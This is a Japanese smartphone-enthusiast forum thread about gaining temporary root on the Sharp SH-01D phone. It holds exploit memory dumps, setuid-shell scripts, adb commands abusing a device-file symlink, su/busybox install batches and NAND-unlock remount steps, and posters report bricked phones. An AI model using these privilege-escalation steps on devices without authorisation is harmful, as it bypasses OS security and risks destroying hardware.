afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 143 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 143 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 377 /system/bin/linker
b000d000-b000e000 rw-p 0000d000 b3:0b 377 /system/bin/linker
b000e000-b001c000 rw-p 00000000 00:00 0
beefe000-bef1f000 rw-p 00000000 00:00 0 [stack]
mem=10000000
addr=10038e30
read=c024b3a4
write=c024b2dc
mmap=c024b284
open=c024b240
release=c024b264
found at 10038e30
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 00 00 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
munmaped
iscalled=1
remmaped
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 e1 8a 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
re-patched
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 00 00 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
I am Autoexec.sh !!
そのシェルはroot権限で動いてるはずなので、
シェルの内容を
id
にしてみてみてもらえますか？
$cat /data/local/autoexec.sh
#!/system/bin/sh
cat /system/bin/sh > /dev/xsh
chown root.root /dev/xsh
chmod 6755 /dev/xsh
adb shellが＃になり、コマンド入力もできました
一時rootっていうんですかね？うまくいっているようです
ここから端末側でもrootを取得するにはまた一手間いるのでしょうか？
再起動かけなくても大丈夫なはずです。
あとは、autoexec.shにrootでやらせたいことを書いておけば、
だいぶ快適になるんじゃないでしょうか。
>>362,363
autoexec.sh の内容を id にすると
uid=0(root) gid=0(root)
と表示されました
autoexec.sh の内容を >>363 のものにして
>adb shell /data/local/shbootgetroot 2 を実行、その後
>adb shell /dev/xsh を実行すると # が表示されました
PC側の cmd窓を閉じて、そのまま SH-01Dで端末エミュレータを起動して
/dev/xsh を実行するとこちらも # が表示されました
ここから例えば 「suコマンドでいつでも root取得できる」てなことができるんですか？
すでに他のsharp機種(IS03,SH12C)でやられてますから参考に。
/data/local/autoexec.shでsuをインストールして、
ウィジットで有効無効切り替え等できると思います。
NANDが書き換えたい場合は、該当箇所を書き換えればOKです。
insmodできるように、sha256チェックをはずすのもやっとくと
いいと思います。
kallsyms_lookup_name関数そのものを実装してみました
ターミナルエミュレーターではパラメーターなしで
/data/local/shbootgetroot
adb経由では
adb shell /data/local/shbootgetroot -c "任意のコマンド パラメータ"
みたいなことが出来るようにしました
suコマンドとSuperuser.apk、busyboxをインストールするサンプルバッチファイルをつけてます
一時root環境ではあるものの、再起動するまでの間はroot権限が必要なアプリの多くが使用できると思います
ttp://ll.la/2aUd
おかげさまでC言語の型とかポインタとかが少しだけ理解できたような気がします
そろそろ自分のｽﾚに帰ろうと思います
gorohです
おお、コードがきれいになってる！
kallsyms_lookup_name関数の自作良いですね！
これはこれで、kallsyms作成に使えそう
installfile.cmd の中の
"/system/bin/chmod 0.0 /sbin/busybox"
という部分は chmod でなく chown が正解でしょうか？
>>366 まで実行した状態で >>369 の installfile.cmd を実行しました
その後、
>adb shell
$ /sbin/su
/sbin/su
Permission denied となるのですが？
そのまま続けて
$ /dev/xsh
/dev/xsh
# /sbin/su
このように /dev/xsh を実行して # 表示になった状態で /sbin/su を実行したら
端末側に
スーパーユーザーの要求
[許可] [拒否]
という画面が表示されました
これで正解なのかしら？
kallsyms_lookup_name関数はカーネルのソースコードからそのまま貼り付けました^^;
>>371
>"/system/bin/chmod 0.0 /sbin/busybox"
>という部分は chmod でなく chown が正解でしょうか？
すみません、そのとおりです
Permission deniedとなるのは、パーミッションがうまく設定できていないみたい
ls -l / /sbin
と
mount
の結果を貼り付けてもらえないでしょうか
出力結果です
右端のファイル名に色変更のようなエスケープシーケンスがついてしまってますが
ttp://ll.la/n()B
あ～。これですね。
chmodとchownはchownを先にやらないとsticky bitは
元にもどっちゃいますね。
あー、なるほど。そりゃそうですね
setuidしたuidを書換えたら消えちゃうんですね
>>373
installfile.cmdの7～8行目と9～10行目を下記のように入れ替えをお願いします
adb shell /data/local/shbootgetroot -c "/system/bin/chown 0.0 /sbin/su"
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 0.0 /sbin/busybox"
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 6755 /sbin/su"
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 755 /sbin/busybox"
できました
>adb shell
$ /sbin/su
の実行で端末側に
スーパーユーザーの要求
[許可] [拒否]
という画面が表示され、[許可]ボタンで # が表示されました
ESファイルエクスプローラでも「rootエクスプローラ」機能をONにできました
もちろん「/, /systemを書き込みでマウントする」もｏｋでした
すごーい！
自分にはvンカンプン
これ打つの大変じゃない？
ヒント adb
他のすれでもそれを言われたけど
使い方が良く分からんので一つ一つ手打ちなんだけど
ふとみんなこんなキーボード使ってるのかなと思っただけ
私はIS01使い＾＾
そもそも危険過ぎるｗ
みなさんありがとう。これでAPNが変えられそうですね。
できれば、ワンクリックツールの作成をどなたかお願いします。
また、root作業について基本的な方法がかかれたサイトも教えて頂ければ幸いです。
その辺任せたよ
宜しく
/dev/mtd/mtd3roやら/dev/mtd/mtd0roがこの機種にはないっぽいね。
ここから先に進めてる人っているのかな？
この機種はeMMCを使っていますので、
MTDデバイスではなく、mmcデバイスで認識してるはず。
mmcblk0が見えていれば、あとはパーティションを探して
抜くだけです。
drivers/mmc/card/block.cにパーティションの構成は書いてあります。
mmcblk0p9がboot, mmcblk0p10がrecoveryだと思いますよ。
sh1clickが先か
正座して末
未知の圧縮方法だって弾かれる･･･
ダウンロードに失敗してんじゃない？
挙げ句にはスマホでやってもダメ
試しにlhzでうpしてもらえませんか？
ttp://www.mediafire.com/?6i0n32jlwbxe8cp
ありがとございます
無事に解凍できました
ありがとう
俺も>>369のやつうまく解凍できくて困ってた
lhaplusかwinrarしか使わないからな…
7zipならうまく解凍できるのか
installfile.cmdの修正についてkwsk
>>397
大丈夫、文鎮が増えるだけ
一時rootなんだし、書いてあるとおりにすればいいし
文鎮野郎は出てこないだろ
とりあえず書いとく 以下の４行を
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 6755 /sbin/su"
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 755 /sbin/busybox"
adb shell /data/local/shbootgetroot -c "/system/bin/chown 0.0 /sbin/su"
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 0.0 /sbin/busybox"
以下に修正する
adb shell /data/local/shbootgetroot -c "/system/bin/chown 0.0 /sbin/su"
adb shell /data/local/shbootgetroot -c "/system/bin/chown 0.0 /sbin/busybox"
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 6755 /sbin/su"
adb shell /data/local/shbootgetroot -c "/system/bin/chmod 755 /sbin/busybox"
※chmod 0.0 /sbin/busybox を chmod→chown に修正する
※chown×２行を chmod×２行よりも先に実行する
トン
明日良いことあるよ！
自分でどうにかしようとしない奴はroot化なんてしないほうがいいよ
その初期の初期がよく分からんのよ
どんなソフトを使ったらいいのか、操作方法はどうすればいいのか
PCのソフト説明みたくはじめから詳しく書いてないから無理だ
もうちょっとどういう手順でやればいいのか1から書いてくれれば
私だってワンクリックツールは要らないよ
はやくまとめてくれーっ!!!!
なおさら機種別のこのスレで説明求めるようなことじゃないな。
そういうのも含めて、知らないことを調べようともしないやつはそのまま使ってた方がいいよ。
お前がそう思うんならそうなんだろう
お前の中ではな
確かにまだ最初のスレだが確かにわかりづれえしまとめた方が素敵だわな。敷居はあるが高くは無くなりつつあるアンドロイドハックだから悩んで学んである程度、色んなオマイラと共有化して人柱も増やし文珍師匠も経験として通過すりゃいいんじゃねーの
正座してる奴も脱いだ奴もR2D2もワンクリ待ってる奴も同じ電話使ってる仲間みたいなもんだしな
そんな俺もあれこれダウソしすぎてフォルダーごちゃごちゃだわ
このレスたどって見れば分かるはず
このソフトを使ってやるのだとか
このサイトに書かれている内容と同じだ
とかを教えてくれれば頑張れる
��定番だけどここかなぁ
http://bit.ly/1vXXu4
そういいつつ結局何も教えないのかよ
仲間とか気持ち悪いこと言うくらいならお前が一から十まで教えてやれ
お前こそそう思ってんなら、お前が情報纏めてやればいいんじゃないか？
PCから adbというコマンドを駆使する必要がある
*****準備段階
ちょっと古いけど↓ここに解説がある（現在は r04でなく r16）
http://wghost.org/it/android/android-adb-shell-usb/
■USB接続をできるようにするための手順（ドライバー導入方法）
については、↓ここにあるSH-01D用のUSBドライバを使用する
https://sh-dev.sharp.co.jp/android/modules/driver/
*****第１段階
PCから adbコマンドが実行できるようになったら
>>239を手順通りに実行する
（一ヶ所間違いがあるので >>250を参考に pull でなく push すること）
4.の oncmd.sh の内容は以下の２行とする
chmod 777 /cache
chmod 666 /cache/recovery
（PCでoncmd.shを作成する際、改行コードは CR+LFでなく LFとすること）
ここまでうまくできていれば PCから以下を実行すると
adb shell ls -l /cache
こんな感じ↓のが数行表示されるはず
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-24 10:48 recovery
opendir failed, Permission denied てなエラーが表示されるなら
うまくできてません
*****第２段階
PCから以下の２行を実行
（これは、すでに実行済みならばやらなくていいはず）
adb shell mv /cache/recovery /cache/recovery_
adb shell ln -s /dev/boot_daemon_drv /cache/recovery
確認してみる
adb shell ls -l /cache
こんな感じ↓になれば正解かな
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-24 10:48 recovery_
lrwxrwxrwx shell shell 2012-03-02 13:24 recovery -> /dev/boot_daemon_drv
次に >>369（または>>393）を入手して installfile.cmd の内容を
>>403のように修正してから、修正後の installfile.cmdを PCで実行する
これがエラーなく完了すればok
adb shell を実行して $ が表示され、その $ の右に su と入力して
Enterキーを押す
さあスーパーユーザーになれるかな？
※どっか間違ってたら（気づいた方）修正よろしくです
数日間少しずつキーワードでクグって実践したらできたよ。
詳しく書いてないとわかんないって人はクグりもしない・
考えもしない（もしくは考えが足りない）ってことなんだと思う。
>>417さんはやさしいな
「adb」でクグるだけでもいくつかヒントは出るだろうに
ここではあまり甘やかさない方が..．
元々rootはアングラな世界だしググってできなかったらあきらめた方がいいと思う
じゃないと次から次へ調べもしないで教えてくれが来ると思う
7分の間に何があった？ｗ
ありがとう。本当にありがとう
頑張ってみる
ステータスバーに置くのが良いか
誰か教えてください
ちなみにまだrootとってません
さんざん自分で調べろと上に書いてあるにもかかわらずこれだ
馬鹿は甘やかすと調子に乗るから困る
大体、adbも知らない奴がroot取って何するつもりなんだろう
そのうち「root化できました！で、次は何をすればいいんですか？」もしくは
「このスレの通りにやったのにできません！どうすればいいですか！？」みたいな書き込みに溢れそうだ
入り口さえ作れば調べる奴は調べるし、調べない奴は調べない
それすらもなしに調べろ調べろ言うならそら知らない奴はいつまでもたどり着けんわ
マジレスになるが、調べる以前の問題じゃね？
消し方わかりませんとかww
そういうやつにはroot向いてないからあきらめな
でおk
文字の入力時 ATOKが「ATOKが予期せず停止しました。やり直してください。」
というエラーを表示するようになった
そのまま続行すれば普通にATOKで文字入力できるけれど、また別のテキストボックスに
移動すると同じエラーが再度表示されたりしてかなりうざい状態
「アプリケーションの管理」でATOKを選択して左上の [強制停止]でATOKを停止させ
その後、何らかのアプリで文字入力する枠（テキストボックス）を長押しして [入力方法]
から ATOKを選びなおす、という操作でエラーが表示されなくなった
で、今仮Rood化に成功した、良かった。
/cache/recoveryがないって怒られてるっぽくてできない・・・
第1段階で adb shell ls -l /cache すると
drwxrwx--- root root 2011-11-11 03:39 lost+found
は表示されても
drw-rw-rw- system cache 2012-01-24 10:48 recovery
が表示されない
opendir failed, Permission denied が出てないからoncmd.shを読み込むこと自体は出来てると思うんだ
俺叩かれ過ぎワロタ
俺のパーティーが一昨日全滅して仲間が欲しかったんだ。いちいちファビョるとうちの仲間見たいに、高血圧で全滅するぞ
教えられなくてもadbってなんだろ？ってクグったりしない？
423さんが作ってくれようとしてるツール使わせてもらうにしても
そういうオレは実機修理中で試すことすらできずにいるんだが
サンクス。今日帰ってやってみるよ。
ところでみんなはrootとってどのアプリを使う予定??(何がしたくてroot化したの？？)
ちなみにおいらはso-netのsim使いなのでテザリングapnを変更したくてroot化します。
/cache/recovery が存在しないのが初期状態なのかな？
もう色々やってて何が初期状態だったかよくわからない
とりあえず 第２段階の２行
adb shell mv /cache/recovery /cache/recovery_
adb shell ln -s /dev/boot_daemon_drv /cache/recovery
これを実行（１行目はエラーになるかも知れんが）した後、
もう一度 第１段階に戻ってやってみたら？
一応、それもやってみたのだけど、やっぱりうまくいかなかった
昨日は眠くてあの後寝てしまったけど、起きてから確認したところ、やっぱりrecoveryが存在しないみたい
とりあえず、recoveryフォルダを自分で作って再度挑戦
そしたら今度はinstallfile.cmdがうまくいかない
どうもパーミッション変更で躓いてるらしい
adb push shbootgetroot /data/local を手動でやって、
oncmd.shに
/system/bin/chmod 755 /data/local/shbootgetroot
/data/local/shbootgetroot -c "/system/bin/mount -o rw,remount -t rootfs rootfs /"
/data/local/shbootgetroot -c "/system/bin/chmod 777 /sbin"
を書いて端末側でやらせて、
adb push su /sbin 以降を残したinstall.cmdを実行したらroot権限奪取に成功した
自分のは今週の火曜日に買ってきたけど仕事が忙しくてずっと放置してたやつだからほぼ初期状態からのroot権限奪取だと思う
自分はLinuxに詳しいわけじゃないから何がいけなかったのかよくわからんが、今後の参考になれば嬉しい
早速 Titanium Backup でアプリのデータごとバックアップ／リストアしてみたり
不要なプリインアプリの凍結なんかをやってみた
settings.dbへの追記等試しましたが成功していません。
ESファイルエクスプローラー等でも「ファイルシステムをマウントする」でマウントエラーになってしまう。
コマンドからこれをやってみたんだけど、見当違いの事してるでしょうか(;￣ー￣川 ｱｾｱｾ
mount -o rw,remount -t ext4 /dev/block/platform/mmci-omap-hs.0/by-name/system /system
mount: permission denied (are you root?)
いわゆる NANDロックってやつかな？
運助の俺には、LF改行がググっても解らんのだよ。その出前までは行けるのだが。Wi-Fiつなげば行けるのは本当じゃったよ。
秀丸かフリーのエディタ
Androidなら
Jota Text Editor
https://market.android.com/details?id=jp.sblo.pandora.jota
コレ入力しても何も反応がねえ
禿丸も入れたんだぜ。
今日も700km走って来る
そのコマンド実行は成功しているはずなんだが、どういう反応を期待しているんだ？
C:\WINDOWS\system32>adb shell chmod 755 /data/local/oncmd.sh
C:\WINDOWS\system32>adb shell ls -l /cache
opendir failed, Permission denied
俺もrecoveryなかった。
もしかしてアップデートしないと作成されないのかな？(してたらスンマセン)
※ビルド番号1.00.01です。
so-01b 嫁のエクスぺアーク 娘のエーサーA100と３つは行けたんじゃがのう
シャープ手強いのう
え～と、adb shell chmod 755 /data/local/oncmd.sh
この後 SH-01D側で
microSDのマウント解除 → マウント解除の画面で [キャンセル]
という操作を実行してるよね？
上記の操作後に adb shell ls -l /cache だよ
それでも opendir failed, Permission denied なのかしら？
もちろんさ
ダイアログ表示→キャンセル押してる
そのひとつ前で
adb shell chmod 755 /data/local/oncmd.sh
コレ入力しても、動きが全く無いのが気になるのよ
何も出力されない訳
239で幾つかはプリインアプリは凍結させてるんだけどなぁ
オレは何故かoncmd.shの先頭の一文字だけ壊れてて何度やってもダメってのはあったが
もう一度文字コードと改行コードをきちんと指定して
作りなおして放り込んだらいけたという事はあった
> 239で幾つかはプリインアプリは凍結させてるんだけどなぁ
ならば同じ手順で >>417 の第１段階まではできるはずだね
oncmd.sh に何らかの問題があるとしか思えない
> adb shell chmod 755 /data/local/oncmd.sh
>コレ入力しても、動きが全く無いのが気になるのよ
ここは何も出力されなくて正解だったと思う
だからoncmd.shちょうだいって言ったじゃないですかー
秀丸入れて改行コードLFにして(右下の所クリッコして)最初から手打ち込したんやでぇ
何度か繰り返したよん
terapadだとUTF-8で作ったのはダメでUTF-8Nでやればいけた
クレクレじゃなくてむしろ自分が書いたoncmd.shさらしてみれば？
それを名前変更して中身書き換えた方が早いんじゃね？
ウチの秀丸くんは色々とカスタマイズされてるのでアレなんだが、
oncmd.sh を秀丸で開いて [ファイル]メニューの [エンコードの種類]をクリックすると
（うちの oncmd.shでは） 日本語(Shift-JIS) と 改行=LF に黒丸がついてます
そういえば >>239 の 3. "shdisphook.bat"の実行時、最後に
続行するには何かキーを押してください . . .って表示される？
"shdisphook.bat"がここまで↑到達できないって人もいるみたいだ
何度かやり直すとそのうちにできる、なんて話題もあったね
続行するには何かキーを押してください . . .って表示された後でないと
microSDマウント解除の操作をしてもうまくいかないようです
一番最後のinstallcmdの所でエラーがでる
なんでだろうか
ビルド1.00.04なんどけどこれで上手く行ってる人いるかな？
続行するには何かキーを押してください
↑ちゃんと表示される、何か押すとshdisphook.batは終了される
上記の操作後に adb shell ls -l /cache だよ
それでも opendir failed, Permission denied なのかしら？
そうです。そのとおりです。
ビルド1.00.04でうまくできてますよ
「エラーがでる」じゃなくて、具体的にどういうエラーがでるのか書かないと何も助言できません
>>459
shdisphook.bat の実行中にファイルが見つからない「...not found」的なエラーは
発生してませんか？
わかってると思うけど、shdisphook.bat の実行時はカレントディレクトリを
shdisphook.bat のあるフォルダにしておきます
（onload.sh libsdservice_jni.so shdisphook などがあるフォルダ）
installfile.cmd の実行時はカレントディレクトリを installfile.cmd のある
フォルダにしておきます
（shbootgetroot su busybox Superuser.apk などがあるフォルダ）
oncmd.shをクレクレするんじゃなくて
自分が書いたのさらしてみなよ
間違い箇所を指摘してもらった方が自分のためにもなるだろ？
色々やってみたら解決したよ
ありがとう
無事にroot化できました。
ところでテザリングするのが目的だけどどのみんなどのソフトつかってる？
無料の奴3つ試したけど電波が出ない
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-25 02:03 recovery_
lrwxrwxrwx shell shell 2012-02-15 22:53 recovery -> /dev/shdisp
C:\Windows\System32>adb shell mv /cache/recovery /cache/recovery_
failed on '/cache/recovery' - Permission denied
C:\Windows\System32>adb shell ln -s /dev/boot_daemon_drv /cache/recovery
link failed File exists
C:\Windows\System32>adb shell
$ su
su
su: permission denied
$
oncmd.sh は超えられたが
> lrwxrwxrwx shell shell 2012-02-15 22:53 recovery -> /dev/shdisp
これがすでに存在するので
adb shell mv /cache/recovery /cache/recovery_
これは↑やらずに（やってもエラーで何も行われないけど）
adb shell ln -s -f /dev/boot_daemon_drv /cache/recovery
これで↑どうでしょう？ -f で上書きしてくれるんじゃなかったっけ？
link failed File exists というエラーが出なければいいんだけど...
C:\Windows\System32>adb push C:\Users\R2D2\Desktop\START\SH-01D\shdisp_onloadhoo
k\oncmd.sh /data/local/oncmd.sh
20 KB/s (42 bytes in 0.002s)
C:\Windows\System32>adb shell chmod 755 /data/local/oncmd.sh
C:\Windows\System32>adb shell ls -l /cache
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-25 02:03 recovery_
lrwxrwxrwx shell shell 2012-02-15 22:53 recovery -> /dev/shdisp
C:\Windows\System32>adb shell ln -s -f /dev/boot_daemon_drv /cache/recovery
link failed File exists
ごめんよ出ちゃった
C:\> adb shell ls -l /dev/boot_daemon_drv
crw-rw-rw- system cache 247, 0 2012-02-10 18:31 boot_daemon_drv
までした後にお使いください。 http://ll.la/K@U6 パスは"SH-01D"
bootloader のramfsを書き換えて、 recovery に焼いて動かすことができることまで確認。
failed と出ていても実は成功してるかもしれないから、めげずにやってみてください。
adb wait-for-device shell /data/local/shdisphookで
shdisphookがnot foundになります
しかし、llで確認すると/data/local/shdisphookのパーミッションは755
catでも中身は表示できます
>>417の手順の他、何か足りないのでしょうか
adb shell ls -l /cacheで
drwxrwx--- root root 1970-01-01 09:00 lost+found
になっちゃった
こちらの手順をどなたかお教えいただけないでしょうか。
自分もその日付ででる
rootとれてるけど不安定
第一段階の
デバッグモードに変更
↓
shdisphook
↓
shdisphook.batはエラーなしで最後のpauseまで実行
↓
oncmd.shは
chmod 777 /cache
chmod 666 /cache/recovery
の2行をUTF-8N、LFで保存
↓
adb push oncmd.sh /data/local/oncmd.sh
adb shell chmod 755 /data/local/oncmd.sh
↓
(SDマウント解除ダイアログを出す)
↓
adb shell ls -l /cacheで
opendir failed, Permission deniedになってダメなんだが、
一体どこの手順を間違えてるんだか。
ときどきSDマウント解除ダイアログがでないでいきなりSDをアンマウントすることがあって気になってる。
×
>↓
>shdisphook
>↓
>
>shdisphook.batはエラーなしで最後のpauseまで実行
>↓
○
↓
shdisphookをダウンロードして展開する
↓
shdisphook.batはエラーなしで最後のpauseまで実行した
↓
それは自分もなったことある
PCもスマホも一度完全に電源を落としてから
最初からやり直しでうまくいく事がよくある
あとPC側でmediajetの常駐してるなら解除した方がいいかもしれない
スペースを挟まない位置に移したら、通りました
アプリの凍結まではできましたが、/cacheも/dataも
opendir failed, Permission deniedとか･･･
皆さんありがとうございます
これってどうすればいいの？
nandunlock を /data/local にでも置いて chmod して実行すればいいの？
実行手順を書いてもらわないと...
あ～でもない、こ～でもないと試行錯誤で実行してみるのはチョット恐ろしいです
あと、これがうまくいったとしたら、それは一時的なものですか？
再起動してもずっとそのままといった永続的なものですか？
何して良いかわからんのにテスターみたいな言い方するなよ
わからん奴だな
（勝手にウィンドウ閉じてしゅうりょうする）
でもでもでもでも
Permission denied
そーです。 /data/local などにおいて chmod して実行してください。
オンメモリのカーネルにパッチを当てているだけなので、再起動すると解除されていない状態に戻ります。
mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system とすれば /system を書き換えられますし、今まで読めなかったパーティションも読み込むことができます。
下手なところをいじるとbrickになるので、よくわからないのであれば使わないほうがいいかもしれません。
adb wait-for-device shell /data/local/shdisphook
の後、再起動時にロック画面のでるちょい前（バ イブが反応し始める辺り）から、画面をタップし続ける
で、鍵マークが出たら、なる早で解除
自分の場合、これで進めた
やらないと10分経っても進まない
他の人はどう？
2.6.35.7+ / 01.00.04
俺はロック画面そのままでも画面が消えてても出来るよ
この差は何だろう
端末にまったく触ることなく、ほおっておくだけで
「続行するには何かキーを押してください」まで進むよ
shdisphook がうまく実行されず何度もやり直すと、たまにうまくいく
なんていってた人もいたね
Wi-Fi接続してるとうまくいく確率が高いのでは？なんて話もあった
そういえば私も Wi-Fi接続中に実行してる
接続してない状態だと全然といっていいほどダメだった
Wi-fiがオンにならない
上手くテザリング出来てる人いる？
多分、ルートとか都市電設なんだよ
まぁいないか…
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.04ですが
[+]ioctl system call
[+]get root
[+]entry point erase
mmc_protect_part=c05d5934 size=88
の後
kallsyms_addresses search failed
になり
NAND unlock failed. と表示されUnlockされません。
どなたか同じ現象で解決された方はおられるでしょうか。
それは何ですか? 完全root化??
その前にワンクリ
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\System32>adb push C:\Users\R2D2\Desktop\START\SH-01D\shdisp_onloadhoo
k\oncmd.sh /data/local/oncmd.sh
13 KB/s (42 bytes in 0.003s)
C:\Windows\System32>adb shell chmod 755 /data/local/oncmd.sh
C:\Windows\System32>adb shell ls -l /cache
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-25 02:03 recovery_
lrwxrwxrwx shell shell 2012-02-15 22:53 recovery -> /dev/shdisp
C:\Windows\System32>adb shell
$ su
su
su: permission denied
$
417 の 第一段階まではできてるみたい
次は
> lrwxrwxrwx shell shell 2012-02-15 22:53 recovery -> /dev/shdisp
これが recovery -> /dev/shdisp でなく
recovery -> /dev/boot_daemon_drv と表示されるようにしよう
レストン
上に書いてあるのはすべからく
試したけどダメなのよ
具体的に(ry
すまねぇー
これを↓やってみるとか
adb shell rm -r /cache/recovery
abd shell ln -s ln -s /dev/boot_daemon_drv /cache/recovery
adb shell rm -r /cache/recovery
abd shell ln -s /dev/boot_daemon_drv /cache/recovery
落ち着け abd → adb
再起動したらdocomoロゴから進まなくなった
もうこうなったら戻せんのやろか
まじかー頑張ってそこから進めてくれ
文鎮の完成ですな
よく見かけるけど 501 みたいのは修理してもらえなくなるの？
build.prop程度ならその時点でadb使えないかな？
試しにUSBつないでみたけどダメだったわ
チタでプリイン凍結して再起動までは問題なかったんだが、
nandunlockでsuなって
mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
してbuild.prop編集、そのまま再起動したらdocomoロゴから進まなくなった
この犠牲を無駄にしないでくれ！
投げ売り状態
こんなことは今までにありませんでした！今が買い時ですよ！
だってさ
>>499
色々やって
498のコレ↓もやって
adb shell rm -r /cache/recovery
abd shell ln -s ln -s /dev/boot_daemon_drv /cache/recovery
recovery -> /dev/boot_daemon_drv
これが表示されて、そこでタバコに火を付けたんだ
小躍りしながらinstallfile.cmdを実行したんだ
やっぱり お前にそんな権限ねえよ って言われたorz
3 KB/s (42 bytes in 0.012s)
C:\Windows\System32>adb shell chmod 755 /data/local/oncmd.sh
C:\Windows\System32>adb shell ls -l /cache
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-25 02:03 recovery_
lrwxrwxrwx shell shell 2012-03-16 16:42 recovery -> /dev/boot_dae
mon_drv
C:\Windows\System32>adb shell ls -l /cache
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-25 02:03 recovery_
lrwxrwxrwx shell shell 2012-03-16 16:42 recovery -> /dev/boot_dae
mon_drv
C:\Windows\System32>adb shell
$ su
su
Permission denied
$ su
su
Permission denied
$
なんでええeeええええええええぇぇぇ
ROOT化出来てた
三連投スマソ
,r=''""ﾞﾞﾞli,
_,､r=＝===､､,,_ ,r!' ...::;il!
,r!'ﾞﾞ´ ｀'ヾ;､, ..::::;r!'ﾞ
,i{ﾞ‐'_,,_ :l}..::;r!ﾞ
. ,r!'ﾞ´ ´-ｰ‐‐==､;;;:.... :;l!:;rﾞ
,rｼﾞ ｀~''=;;:;il!::'li
. illﾞ .... .:;ll:::: ﾞli
..il' ' ' '‐‐===､;;;;;;;:.... .;;il!:: ,il!∧∧∧∧∧∧∧∧∧∧
..ll ｀"ﾞ''l{::: ,,;r'ﾞ ＜ ＞
..'l! . . . . . . ::l}::;rll(, ＜ ｸﾞｯｼﾞｮﾌﾞ !! 俺 ＞
'i, ' ' -===＝＝‐ー《:::il::ﾞヾ;､ ∨∨∨∨.| ./∨∨∨∨
ﾞi､ ::li:il:: ﾞ'＼. |/
ﾞli､ ..........,,ノ;i!:.... ｀' ､ ∧＿∧
`'=､:::::;;､:､==＝''シﾞﾞ'＝=-､､,,,__ ｀ '(´･ω･｀)
｀~''''＝=＝''"ﾞ´ ~`''ｰ（ ）
結局おっ死んだからわかんなかったんだけど
どこかでbuild.prop書き換えても元に戻るって書いてあるのを見たんだけど
実際どうなん？
だからadbは繋がるのかと
ブート止まっててもadb生きてるときがあるからそういうときは流し込みで修復出来るかもって
おめ
rootとれるようになったら >>466 の nandunlock実行して
mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
を実行すれば /system/build.prop の修正だって可能になる
んで build.prop を修正して再起度すると文鎮化するって噂だ
nandunlockしなくても TitaniumBackupとかは動くよ
俺ももしかしたらって思って何度もやったけどつながらないの
adbが反応するタイミングってロック画面が表示されるくらいのタイミングだったから
かなり手前で止まってるってことなんかな
自宅帰ったら何やったか覚えてる限り書きますわ
何かを押しながらUSBケーブル差すとリカバリーモードでPCとつながる、
といった機能を持つ端末もあるようだけど
この機種（というかSHARP製のスマホ全般）って、そういう話を聞かないよね
本当にないのか、実はあるけどだ～れも知らないだけなのか
Root化して、最後におまじないで再起動したら全部リセットしちゃって元に戻るんですが
なんとか設定を維持するような事はできないですか？
Root化前からになりますが再起動をしないと、なんだかメールを受信するたびよく分からない
エラーログが出てきてフリーズしてしまうので、毎日1度は再起動してるんですが…
どうすればいいのか分からないので、再起動後に設定維持できる実行キーを教えてください
adb push nandunlock /data/local/
adb shell chmod 755 /data/local/nandunlock
adb shell /data/local/nandunlock
adb shell mount -o rw,remount /dev/block/platform/mmci-omap-hs.0/by-name/system /system
adb shell chmod 666 /system/build.prop
